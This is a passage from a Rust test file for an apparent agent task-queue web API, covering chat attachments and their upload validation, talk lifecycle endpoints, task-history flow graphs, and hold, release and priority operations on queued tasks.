11175 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11176
11177 let res = f
11178 .post_bytes(
11179 &format!("/api/talks/{id}/attachments"),
11180 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11181 PNG_BYTES,
11182 )
11183 .await;
11184 assert_eq!(res.status, 201, "{}", res.body);
11185 let body = res.json();
11186 assert_eq!(body["name"], "shot.png");
11187 assert_eq!(body["mime"], "image/png");
11188 assert_eq!(body["bytes"], PNG_BYTES.len());
11189 let att_id = body["id"].as_str().expect("id").to_owned();
11190 assert_eq!(
11191 att_id.len(),
11192 32,
11193 "the id must never be a client-suppliable path: {att_id}"
11194 );
11195
11196 let got = f
11197 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11198 .await;
11199 assert_eq!(got.status, 200, "{}", got.body);
11200 assert_eq!(got.header("content-type"), Some("image/png"));
11201 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11202 assert_eq!(got.bytes, PNG_BYTES);
11203 }
11204
11205 #[tokio::test]
11206 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11207 let f = Fixture::start().await;
11208 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11209
11210 let svg = f
11213 .post_bytes(
11214 &format!("/api/talks/{id}/attachments"),
11215 &[("Content-Type", "image/svg+xml")],
11216 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11217 )
11218 .await;
11219 assert!(
11220 (400..500).contains(&svg.status),
11221 "svg must be refused: {} {}",
11222 svg.status,
11223 svg.body
11224 );
11225 assert!(svg.body.contains("SVG"), "{}", svg.body);
11226
11227 let text = f
11228 .post_bytes(
11229 &format!("/api/talks/{id}/attachments"),
11230 &[("Content-Type", "text/plain")],
11231 b"just some text",
11232 )
11233 .await;
11234 assert!(
11235 (400..500).contains(&text.status),
11236 "an unlisted type must be refused: {} {}",
11237 text.status,
11238 text.body
11239 );
11240
11241 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11244 let big = f
11245 .post_bytes(
11246 &format!("/api/talks/{id}/attachments"),
11247 &[("Content-Type", "image/png")],
11248 &oversized,
11249 )
11250 .await;
11251 assert_eq!(
11252 big.status,
11253 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11254 "{}",
11255 big.body
11256 );
11257 }
11258
11259 #[tokio::test]
11260 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11261 let f = Fixture::start().await;
11262 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11263
11264 let res = f
11267 .post_bytes(
11268 &format!("/api/talks/{id}/attachments"),
11269 &[("Content-Type", "image/png")],
11270 b"<html>not a picture</html>",
11271 )
11272 .await;
11273 assert!((400..500).contains(&res.status), "{}", res.body);
11274 }
11275
11276 #[tokio::test]
11277 async fn an_unknown_attachment_id_is_a_404() {
11278 let f = Fixture::start().await;
11279 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11280
11281 let res = f
11282 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11283 .await;
11284 assert_eq!(res.status, 404, "{}", res.body);
11285 }
11286
11287 #[tokio::test]
11288 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11289 let f = Fixture::start().await;
11290 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11291
11292 let uploaded = f
11293 .post_bytes(
11294 &format!("/api/talks/{id}/attachments"),
11295 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11296 PNG_BYTES,
11297 )
11298 .await;
11299 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11300 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11301
11302 let res = f
11303 .post(
11304 &format!("/api/talks/{id}/say"),
11305 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11306 )
11307 .await;
11308 assert_eq!(res.status, 202, "{}", res.body);
11309 let queued = res.json();
11310 let turns = queued["turns"].as_array().expect("turns array");
11311 assert_eq!(
11312 turns.len(),
11313 1,
11314 "an empty body with an attachment is still a turn: {queued}"
11315 );
11316 assert_eq!(turns[0]["who"], "operator");
11317 assert_eq!(turns[0]["body"], "");
11318 let atts = turns[0]["attachments"]
11319 .as_array()
11320 .expect("attachments array");
11321 assert_eq!(atts.len(), 1);
11322 assert_eq!(atts[0]["id"], att_id);
11323 assert_eq!(atts[0]["mime"], "image/png");
11324
11325 let on_disk = f.talks().get(&id).expect("get");
11328 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11329 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11330 }
11331
11332 #[tokio::test]
11333 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11334 let f = Fixture::start().await;
11335 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11336
11337 let res = f
11338 .post(
11339 &format!("/api/talks/{id}/say"),
11340 Some(&format!(
11341 r#"{{"text":"hi","attachments":["{}"]}}"#,
11342 "a".repeat(32)
11343 )),
11344 )
11345 .await;
11346 assert!((400..500).contains(&res.status), "{}", res.body);
11347 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11348
11349 let on_disk = f.talks().get(&id).expect("get");
11350 assert!(
11351 on_disk.turns.is_empty(),
11352 "a rejected attachment id must not partially record the turn: {:?}",
11353 on_disk.turns
11354 );
11355 }
11356
11357 #[tokio::test]
11358 async fn talk_close_makes_the_talk_refuse_further_turns() {
11359 let f = Fixture::start().await;
11360 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11361
11362 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11363 assert_eq!(closed.status, 200, "{}", closed.body);
11364 assert_eq!(closed.json()["status"], "closed");
11365
11366 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11368 assert_eq!(closed_again.status, 200);
11369 assert_eq!(closed_again.json()["status"], "closed");
11370
11371 let said = f
11372 .post(
11373 &format!("/api/talks/{id}/say"),
11374 Some(r#"{"text":"too late"}"#),
11375 )
11376 .await;
11377 assert_eq!(said.status, 409, "{}", said.body);
11378 }
11379
11380 #[tokio::test]
11381 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11382 let (_tmp, _repo, f) = talk_fixture().await;
11383 let id = f.post("/api/talks", None).await.json()["id"]
11384 .as_str()
11385 .expect("id")
11386 .to_owned();
11387 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11388 assert_eq!(closed.status, 200, "{}", closed.body);
11389
11390 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11391 assert_eq!(reopened.status, 200, "{}", reopened.body);
11392 assert_eq!(reopened.json()["status"], "open");
11393
11394 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11396 assert_eq!(reopened_again.status, 200);
11397 assert_eq!(reopened_again.json()["status"], "open");
11398
11399 let said = f
11400 .post(
11401 &format!("/api/talks/{id}/say"),
11402 Some(r#"{"text":"still there?"}"#),
11403 )
11404 .await;
11405 assert_eq!(
11406 said.status, 202,
11407 "a reopened talk accepts turns again: {}",
11408 said.body
11409 );
11410 }
11411
11412 #[tokio::test]
11413 async fn talk_reopen_on_an_unknown_id_is_404() {
11414 let f = Fixture::start().await;
11415 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11416 assert_eq!(res.status, 404, "{}", res.body);
11417 }
11418
11419 #[tokio::test]
11420 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11421 let f = Fixture::start().await;
11422 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11423
11424 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11425 assert_eq!(deleted.status, 204, "{}", deleted.body);
11426
11427 let after = f.get(&format!("/api/talks/{id}")).await;
11428 assert_eq!(after.status, 404, "{}", after.body);
11429
11430 let listed = f.get("/api/talks").await.json();
11431 assert!(
11432 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11433 "a deleted talk must not linger in the list: {listed}"
11434 );
11435 }
11436
11437 #[tokio::test]
11438 async fn talk_delete_on_an_unknown_id_is_404() {
11439 let f = Fixture::start().await;
11440 let res = f.delete("/api/talks/nonexistent-id").await;
11441 assert_eq!(res.status, 404, "{}", res.body);
11442 }
11443
11444 #[tokio::test]
11448 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11449 let f = Fixture::start().await;
11450 let (a, b, gone) = (
11451 "20260902-140501-aaaa",
11452 "20260902-140502-bbbb",
11453 "20260902-140503-cccc",
11454 );
11455 write_run(&f.runs(), a, RunStatus::Stalled);
11456 let mut review = RunState::new(
11457 PathBuf::from("/repo/magi"),
11458 "main".to_owned(),
11459 "0123456789abcdef".to_owned(),
11460 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11461 .to_owned(),
11462 Config::default(),
11463 );
11464 review.id = b.to_owned();
11465 review.status = RunStatus::Merged;
11466 write_state(&f.runs(), &review);
11467
11468 let mut task = Task::new(
11469 "retry".to_owned(),
11470 "Do the thing".to_owned(),
11471 PathBuf::from("/repo/magi"),
11472 Source::Human,
11473 );
11474 task.start(a.to_owned());
11475 task.stall("quota");
11476 task.start(a.to_owned());
11477 task.start(b.to_owned());
11478 task.start(gone.to_owned());
11479 f.queue().put(&mut task).expect("file the task");
11480
11481 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11482 assert_eq!(res.status, 200, "{}", res.body);
11483 let v = res.json();
11484 let h = v["history"].as_array().expect("history");
11485 assert_eq!(h.len(), 4, "{v}");
11486 assert_eq!(h[0]["kind"], "competition");
11487 assert_eq!(h[0]["status"], "stalled");
11488 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11489 assert_eq!(h[1]["kind"], "resume", "{v}");
11490 assert!(
11491 h[0]["outcome"]
11492 .as_str()
11493 .unwrap()
11494 .contains("unknown. Pass #2"),
11495 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11496 );
11497 assert!(
11498 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11499 "{v}"
11500 );
11501 assert!(
11502 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11503 "an unrecorded cause must not be narrated as an operator park: {v}"
11504 );
11505 assert_eq!(h[2]["kind"], "review");
11506 assert!(
11507 h[2]["description"]
11508 .as_str()
11509 .unwrap()
11510 .contains("magi/aaaa/A")
11511 );
11512 assert_eq!(h[2]["status"], "merged");
11513 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11514 assert_eq!(v["runs_unreadable"], 1);
11515 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11516 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11517 assert_eq!(nodes[4]["note"], "unreadable");
11518 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11519 assert_eq!(v["instruction"], "Do the thing");
11520 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11521
11522 let run = f.get(&format!("/api/runs/{a}")).await.json();
11524 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11525
11526 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11527 }
11528
11529 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11530 let mut s = RunState::new(
11531 PathBuf::from("/repo/magi"),
11532 "main".to_owned(),
11533 "0123456789abcdef".to_owned(),
11534 "Do it".to_owned(),
11535 Config::default(),
11536 );
11537 s.status = status;
11538 edit(&mut s);
11539 s
11540 }
11541
11542 fn flow_task(runs: &[&str]) -> Task {
11543 let mut t = Task::new(
11544 "t".to_owned(),
11545 "Do it".to_owned(),
11546 PathBuf::from("/repo/magi"),
11547 Source::Human,
11548 );
11549 for r in runs {
11550 t.start((*r).to_owned());
11551 }
11552 t
11553 }
11554
11555 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11556 let h = task_history(task, |id| {
11557 states
11558 .iter()
11559 .find(|(i, _)| *i == id)
11560 .and_then(|(_, s)| s.clone())
11561 });
11562 task_flow(task, &h, 5, None)
11563 }
11564
11565 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11566 crate::queue::FollowUp {
11567 run: "20260901-000000-aaaa".to_owned(),
11568 origin_task: origin_task.map(str::to_owned),
11569 pr: "https://example.com/o/r/pull/1".to_owned(),
11570 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11571 .map(str::to_owned)
11572 .to_vec(),
11573 generation: 1,
11574 }
11575 }
11576
11577 fn parent_task() -> Task {
11578 let mut p = flow_task(&[]);
11579 p.title = "Parent title".to_owned();
11580 p.status = TaskStatus::Done;
11581 p
11582 }
11583
11584 #[test]
11585 fn flow_opens_with_the_parent_task_of_a_followup() {
11586 let p = parent_task();
11587 let pid = p.id.clone();
11588 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11589 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11590 let n = &f.nodes[0];
11591 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11592 assert_eq!(
11593 n.label,
11594 format!("Follow-up of {}", crate::queue::short(&pid))
11595 );
11596 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11597 assert_eq!(n.status, Some("done"));
11598 assert_eq!(n.status_of, "task");
11599 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11600 assert_eq!(f.nodes[1].key, "start");
11601 assert_eq!(f.edges[0].from, "origin");
11602 assert_eq!(
11603 f.edges[0].label,
11604 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11605 );
11606 }
11607
11608 #[test]
11609 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11610 let o = followup_origin(
11611 &fu(Some("gone")),
11612 |_| None,
11613 |_| {
11614 Some(RunState::new(
11615 std::path::PathBuf::from("."),
11616 "main".to_owned(),
11617 "0".to_owned(),
11618 "t".to_owned(),
11619 crate::config::Config::default(),
11620 ))
11621 },
11622 );
11623 assert!(o.parent.is_none());
11624 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11625 let n = &f.nodes[0];
11626 assert_eq!(n.status_of, "run");
11627 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11628 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11629 }
11630
11631 #[test]
11632 fn flow_followup_with_nothing_readable_has_no_link() {
11633 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11634 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11635 let n = &f.nodes[0];
11636 assert_eq!(n.href, None);
11637 assert_eq!(n.note, Some("unreadable"));
11638 assert!(!n.readable);
11639 }
11640
11641 #[test]
11642 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11643 let o = followup_origin(&fu(None), |_| None, |_| None);
11644 let mut t = flow_task(&[]);
11645 t.origin_chat = Some("c1".to_owned());
11646 let f = task_flow(&t, &[], 5, Some(&o));
11647 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11648 t.source = Source::Agent {
11649 run: "c1".to_owned(),
11650 node: crate::queue::CHAT_NODE.to_owned(),
11651 };
11652 let f = task_flow(&t, &[], 5, Some(&o));
11653 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11654 assert_eq!(
11655 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11656 ("chat", "origin")
11657 );
11658 }
11659
11660 #[test]
11661 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11662 let mut p = parent_task();
11663 p.id = "a b/c".to_owned();
11664 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11665 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11666 }
11667
11668 #[test]
11669 fn flow_opens_with_the_chat_that_queued_the_task() {
11670 let mut t = flow_task(&[]);
11671 t.source = Source::Agent {
11672 run: "a b/c".to_owned(),
11673 node: crate::queue::CHAT_NODE.to_owned(),
11674 };
11675 let f = flow_for(&t, &[]);
11676 assert_eq!(f.nodes[0].key, "chat");
11677 assert_eq!(f.nodes[0].kind, "chat");
11678 assert_eq!(
11679 f.nodes[0].label,
11680 format!("Chat {}", crate::queue::short("a b/c"))
11681 );
11682 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11683 assert_eq!(f.nodes[1].key, "start");
11684 assert_eq!(
11685 f.edges[0],
11686 FlowEdge {
11687 from: "chat".to_owned(),
11688 to: "start".to_owned(),
11689 label: "queued from chat".to_owned(),
11690 attempt: AttemptCost::None,
11691 }
11692 );
11693 }
11694
11695 #[test]
11696 fn flow_has_no_chat_box_for_other_sources() {
11697 for source in [
11698 Source::Human,
11699 Source::Issue {
11700 number: 3,
11701 repo: "o/r".to_owned(),
11702 },
11703 Source::Agent {
11704 run: "20260904-014455-ab12".to_owned(),
11705 node: "implement".to_owned(),
11706 },
11707 ] {
11708 let mut t = flow_task(&[]);
11709 t.source = source;
11710 let f = flow_for(&t, &[]);
11711 assert_eq!(f.nodes[0].key, "start");
11712 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11713 assert!(f.edges.iter().all(|e| e.from != "chat"));
11714 }
11715 }
11716
11717 const FA: &str = "20260902-140501-aaaa";
11718 const FB: &str = "20260902-140502-bbbb";
11719
11720 #[test]
11721 fn flow_follows_blocked_retry_merged_to_done() {
11722 let mut t = flow_task(&[FA, FB]);
11723 t.status = TaskStatus::Done;
11724 let f = flow_for(
11725 &t,
11726 &[
11727 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11728 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11729 ],
11730 );
11731 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11732 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11733 assert_eq!(f.edges.len(), 3);
11734 assert_eq!(f.edges[0].label, "claimed");
11735 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11736 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11737 assert_eq!(f.edges[2].label, "merged \u{2192} done");
11738 assert_eq!(
11739 f.nodes[2].href.as_deref(),
11740 Some("#/runs/20260902-140502-bbbb")
11741 );
11742 assert!(f.nodes[2].decided);
11743 }
11744
11745 #[test]
11746 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11747 let quota = || {
11748 flow_run(RunStatus::Stalled, |s| {
11749 s.quota.push(crate::run::QuotaLoss {
11750 seat: "judge-1".to_owned(),
11751 node: "judge".to_owned(),
11752 at: Timestamp::now(),
11753 reset: None,
11754 })
11755 })
11756 };
11757 let mut t = flow_task(&[FA, FA]);
11758 t.status = TaskStatus::Queued;
11759 let f = flow_for(&t, &[(FA, Some(quota()))]);
11760 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11761 assert_eq!(f.nodes[1].note, Some("interrupted"));
11762 assert_eq!(
11763 f.nodes[1].status, None,
11764 "no outcome copied onto an earlier pass"
11765 );
11766 assert_eq!(
11767 f.edges[1].attempt,
11768 AttemptCost::Unknown,
11769 "a resume does not prove the earlier pass was refunded"
11770 );
11771 assert!(f.edges[1].label.contains("resume the same run"));
11772 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11773 assert_eq!(
11774 f.edges[2].label,
11775 "stalled after a resume, refund unknown \u{2192} queued"
11776 );
11777 assert!(!f.nodes[2].decided, "a stall is not a decision");
11778 assert_eq!(f.nodes[2].note, Some("no verdict"));
11779 }
11780
11781 #[test]
11782 fn flow_single_pass_quota_stall_is_refunded() {
11783 let t = flow_task(&[FA]);
11784 let f = flow_for(
11785 &t,
11786 &[(
11787 FA,
11788 Some(flow_run(RunStatus::Stalled, |s| {
11789 s.quota.push(crate::run::QuotaLoss {
11790 seat: "judge-1".to_owned(),
11791 node: "judge".to_owned(),
11792 at: Timestamp::now(),
11793 reset: None,
11794 })
11795 })),
11796 )],
11797 );
11798 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11799 }
11800
11801 #[test]
11802 fn flow_parked_refunds_and_stall_without_quota_spends() {
11803 let mut t = flow_task(&[FA]);
11804 t.status = TaskStatus::Queued;
11805 let f = flow_for(
11806 &t,
11807 &[(
11808 FA,
11809 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11810 )],
11811 );
11812 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11813 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11814 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11815 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11816 assert!(!f.nodes[1].decided);
11817 }
11818
11819 #[test]
11820 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11821 let t = flow_task(&[FA, FB]);
11822 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11823 assert_eq!(f.nodes[1].note, Some("unreadable"));
11824 assert!(!f.nodes[1].readable);
11825 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11826 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11827 }
11828
11829 #[test]
11830 fn flow_names_the_branch_of_a_review_only_run() {
11831 let t = flow_task(&[FA]);
11832 let f = flow_for(
11833 &t,
11834 &[(
11835 FA,
11836 Some(flow_run(RunStatus::Merged, |s| {
11837 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11838 })),
11839 )],
11840 );
11841 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11842 assert_eq!(
11843 f.nodes[1].detail.as_deref(),
11844 Some("review-only run of branch magi/x/A")
11845 );
11846 }
11847
11848 #[test]
11849 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11850 let mut t = flow_task(&[FA]);
11851 t.status = TaskStatus::Held;
11852 let pr = crate::run::PrRecord {
11853 url: "https://example.test/pr/1".to_owned(),
11854 number: 1,
11855 state: "open".to_owned(),
11856 checks: "green".to_owned(),
11857 round: 0,
11858 rounds: 3,
11859 red_at_merge: Vec::new(),
11860 };
11861 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11862 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11863 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11864 t.status = TaskStatus::Done;
11865 let f = flow_for(&t, &[(FA, Some(blocked))]);
11866 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11867 }
11868
11869 #[test]
11870 fn flow_with_no_runs_goes_from_queued_to_queued() {
11871 let t = flow_task(&[]);
11872 let f = flow_for(&t, &[]);
11873 assert_eq!(f.nodes.len(), 2);
11874 assert_eq!(f.edges.len(), 1);
11875 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11876 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11877 }
11878
11879 #[test]
11882 fn a_parked_non_terminal_run_is_explained_as_parked() {
11883 let mut s = RunState::new(
11884 PathBuf::from("/repo/magi"),
11885 "main".to_owned(),
11886 "0123456789abcdef".to_owned(),
11887 "Do it".to_owned(),
11888 Config::default(),
11889 );
11890 s.status = RunStatus::Implementing;
11891 s.parked = true;
11892 let task = Task::new(
11893 "t".to_owned(),
11894 "Do it".to_owned(),
11895 PathBuf::from("/repo/magi"),
11896 Source::Human,
11897 );
11898 let v = task_run_view(
11899 "20260902-140501-aaaa",
11900 Some(&s),
11901 RunSlot {
11902 n: 1,
11903 resumed: false,
11904 resumed_later: None,
11905 prior: None,
11906 last: true,
11907 },
11908 &task,
11909 );
11910 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11911 }
11912
11913 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11914 let mut s = flow_run(RunStatus::Implementing, edit);
11915 s.parked = false;
11916 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11917 task_run_view(
11918 "20260902-140501-aaaa",
11919 Some(&s),
11920 RunSlot {
11921 n: 1,
11922 resumed: false,
11923 resumed_later: Some(2),
11924 prior: None,
11925 last: false,
11926 },
11927 &task,
11928 )
11929 }
11930
11931 #[test]
11932 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11933 let v = earlier_pass_view(|_| {});
11934 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11935 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11936 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11937 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11938 assert_eq!(v.exit, RunExit::Interrupted);
11939 assert_eq!(v.attempt, AttemptCost::Unknown);
11940 }
11941
11942 #[test]
11943 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11944 let v = earlier_pass_view(|s| {
11945 s.quota.push(crate::run::QuotaLoss {
11946 seat: "judge-1".to_owned(),
11947 node: "judge".to_owned(),
11948 at: Timestamp::now(),
11949 reset: None,
11950 });
11951 });
11952 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11953 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11954 assert_eq!(v.attempt, AttemptCost::Unknown);
11955 }
11956
11957 #[test]
11958 fn the_current_pass_states_its_recorded_cause_and_cost() {
11959 let slot = || RunSlot {
11960 n: 1,
11961 resumed: false,
11962 resumed_later: None,
11963 prior: None,
11964 last: true,
11965 };
11966 let task = flow_task(&["20260902-140501-aaaa"]);
11967 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11968 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11969 assert_eq!(
11970 (v.exit, v.attempt),
11971 (RunExit::Parked, AttemptCost::Refunded)
11972 );
11973 let spent = flow_run(RunStatus::Blocked, |_| {});
11974 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11975 assert_eq!(v.attempt, AttemptCost::Spent);
11976 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11977 }
11978
11979 #[tokio::test]
11980 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11981 let f = Fixture::start().await;
11982 let queue = f.queue();
11983 let mut task = Task::new(
11984 "spent".to_owned(),
11985 "Try again".to_owned(),
11986 PathBuf::from("/repo/magi"),
11987 Source::Human,
11988 );
11989 task.start("20260902-140502-bbbb".to_owned());
11990 task.fail("agent gave up", 9);
11991 queue.put(&mut task).expect("file the task");
11992
11993 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11994 assert_eq!(held.status, 200);
11995 assert_eq!(held.json()["status_str"], "held");
11996
11997 let released = f
11998 .post(&format!("/api/queue/{}/release", task.id), None)
11999 .await;
12000 assert_eq!(released.status, 200);
12001 assert_eq!(released.json()["status_str"], "queued");
12002 assert_eq!(
12003 released.json()["attempts"],
12004 0,
12005 "release is a real second chance, not an instant re-hold"
12006 );
12007 assert_eq!(
12008 queue.get(&task.id).expect("reload").status,
12009 TaskStatus::Queued,
12010 "the change is on disk, not only in the reply"
12011 );
12012 assert!(
12013 !f.home
12014 .path()
12015 .join("queue")
12016 .join(format!("{}.lock", task.id))
12017 .exists(),
12018 "the claim the mutation took is released again"
12019 );
12020 }
12021
12022 #[tokio::test]
12023 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12024 let f = Fixture::start().await;
12025 let queue = f.queue();
12026 let mut task = Task::new(
12027 "busy".to_owned(),
12028 "Running right now".to_owned(),
12029 PathBuf::from("/repo/magi"),
12030 Source::Human,
12031 );
12032 queue.put(&mut task).expect("file the task");
12033 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12034
12035 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12036
12037 assert_eq!(res.status, 409);
12038 assert_eq!(
12039 queue.get(&task.id).expect("reload").status,
12040 TaskStatus::Queued,
12041 "the refused hold changed nothing"
12042 );
12043 }
12044
12045 #[tokio::test]
12046 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12047 let f = Fixture::start().await;
12048 let queue = f.queue();
12049 let mut task = Task::new(
12050 "waiting on the migration".to_owned(),
12051 "Do the thing".to_owned(),
12052 PathBuf::from("/repo/magi"),
12053 Source::Human,
12054 );
12055 queue.put(&mut task).expect("file the task");
12056
12057 let held = f
12058 .post(
12059 &format!("/api/queue/{}/hold", task.id),
12060 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12061 )
12062 .await;
12063 assert_eq!(held.status, 200, "{}", held.body);
12064 assert_eq!(held.json()["status_str"], "held");
12065 assert_eq!(
12066 held.json()["hold_reason"],
12067 "waiting for 20260101-000000-aaaa to land"
12068 );
12069
12070 let listed = f.get("/api/queue").await.json();
12071 assert_eq!(
12072 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12073 "the card reads the reason off the same list route"
12074 );
12075
12076 let mut plain = Task::new(
12079 "no reason given".to_owned(),
12080 "Do another thing".to_owned(),
12081 PathBuf::from("/repo/magi"),
12082 Source::Human,
12083 );
12084 queue.put(&mut plain).expect("file the task");
12085 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12086 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12087 assert!(held_plain.json()["hold_reason"].is_null());
12088
12089 let released = f
12090 .post(&format!("/api/queue/{}/release", task.id), None)
12091 .await;
12092 assert_eq!(released.status, 200);
12093 assert!(
12094 released.json()["hold_reason"].is_null(),
12095 "a release must clear the reason so the next hold does not inherit it"
12096 );
12097 }
12098
12099 #[tokio::test]
12100 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12101 let f = Fixture::start().await;
12102 let queue = f.queue();
12103 let mut older = Task::new(
12104 "filed first".to_owned(),
